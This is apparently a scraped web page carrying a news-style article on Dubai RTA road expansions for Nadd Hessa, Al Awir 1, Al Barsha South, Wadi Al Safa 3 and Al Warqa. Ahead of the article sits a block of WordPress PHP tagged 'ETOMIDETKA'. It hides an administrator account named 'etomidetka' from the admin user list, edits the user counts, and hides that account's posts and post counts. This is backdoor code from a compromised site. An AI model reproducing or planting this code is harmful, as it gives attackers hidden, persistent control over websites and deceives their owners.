//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Dubai Traffic: RTA Expands Road Network to Reduce Travel Time by 80% for Four Neighbourhood
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Dubai Traffic: RTA Expands Road Network to Reduce Travel Time by 80% for Four Neighbourhoods

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Dubai Traffic: RTA Expands Road Network to Reduce Travel Time by 80% for Four Neighbourhoods

Dubai Traffic: RTA Expands Road Network to Reduce Travel Time by 80% for Four Neighbourhoods.The Roads and Transport Authority (RTA) in Dubai is set to redefine urban mobility with a transformative road network expansion that promises to cut travel time by up to 80% for residents across four major neighborhoods.

This ambitious project is part of RTA continued commitment to enhancing traffic flow, reducing congestion, and improving connectivity in one of the world’s fastest-growing cities.

Key Highlights of the Road Network Expansion

Enhanced Access Points for Four Communities

The project focuses on upgraded entry and exit points along key roads, including Sheikh Mohammed bin Zayed Road, Emirates Road, Sheikh Zayed bin Hamdan Al Nahyan Street, and Hessa Street. These enhancements will benefit over 400,000 residents in Nadd Hessa, Al Awir 1, Al Barsha South, and Wadi Al Safa 3, with increased road capacity by 50-80%.

Detailed Improvements by Neighborhood

1. Nadd Hessa: Smoother Connectivity to Major Roads

A new two-lane entry and exit point will link Nadd Hessa to Sheikh Mohammed bin Zayed Road and Sheikh Zayed bin Hamdan Al Nahyan Street. This road, capable of accommodating 6,000 vehicles per hour, will significantly improve access for Nadd Hessa, Warsan 4, Hessa Gardens, and Dubai Silicon Oasis, home to over 300,000 residents.

Key features include:

  • A signalized junction to cut travel time from 138 seconds to just 37 seconds.
  • A roundabout providing seamless access to Dubai Silicon Oasis.
  • A two-lane road extending to Sheikh Zayed bin Hamdan Al Nahyan Street.

2. Al Awir 1: Doubling Capacity with a Direct Route

A 7.5 km road connecting Al Awir 1 to Emirates Road will accommodate 3,000 vehicles per hour, doubling the current capacity. This direct route will benefit 50,000 residents, alleviating traffic pressure and ensuring faster commutes.

3. Al Barsha South: Hessa Street Upgrades

Under the larger Hessa Street Development Project, Al Barsha South will see:

  • Two additional lanes over a 1,114-meter stretch, increasing total lanes to four in each direction.
  • A third left-turn lane at the Hessa Street intersection.
  • Traffic capacity boosted from 6,000 to 9,000 vehicles per hour.
  • Reduced signal wait times from four minutes to just one.

These changes will benefit approximately 75,000 residents, making everyday travel more efficient.

4. Wadi Al Safa 3: Cutting Travel Distance and Time

Residents of Wadi Al Safa 3 will enjoy:

  • Direct access to Sheikh Mohammed bin Zayed Road for vehicles arriving from Dubai–Al Ain Road.
  • 4 km of internal roads to enhance mobility.
  • Travel distance reduced by 10 km and travel time cut from 10 minutes to just two minutes.

Expanding Access to Al Warqa: A Game-Changer

RTA’s project in Al Warqa introduces new entry and exit points directly connected to Sheikh Mohammed bin Zayed Road. This initiative includes:

  • An 8 km internal road network expansion, accommodating 5,000 vehicles per hour.
  • Reduced travel times from 20 minutes to just 3.5 minutes.
  • Shortened travel distances from 5.7 km to 1.5 km.

The project will also transform Al Warqa 1 Street with signal-controlled intersections and advanced designs, boosting its capacity by 30%. Additionally, internal roads in Al Warqa 3 and 4 will be upgraded, and a 16 km cycling track will connect Al Warqa to nearby cycling routes, promoting sustainable transportation.

Why These Projects Matter

Improved Quality of Life

These upgrades are poised to:

  • Enhance connectivity between key neighborhoods.
  • Drastically reduce commuting times.
  • Support economic growth by improving logistics and mobility.

Sustainability and Urban Development

RTA vision aligns with Dubai’s focus on sustainable urban development by:

  • Reducing vehicle congestion and emissions.
  • Encouraging eco-friendly commuting options like cycling.

Looking Ahead: Completion Timeline

The enhancements, including the Al Warqa internal road project, are expected to be completed within a year, promising quicker and more efficient travel across Dubai.

Conclusion

Dubai RTA is setting a new benchmark in urban mobility with its cutting-edge road network expansions. These improvements are not just about reduced travel times; they symbolize a future-ready city prioritizing connectivity, sustainability, and the well-being of its residents.

Whether you live in Nadd Hessa, Al Awir 1, Al Barsha South, Wadi Al Safa 3, or Al Warqa, the changes will transform your daily commute and enhance the overall quality of life.

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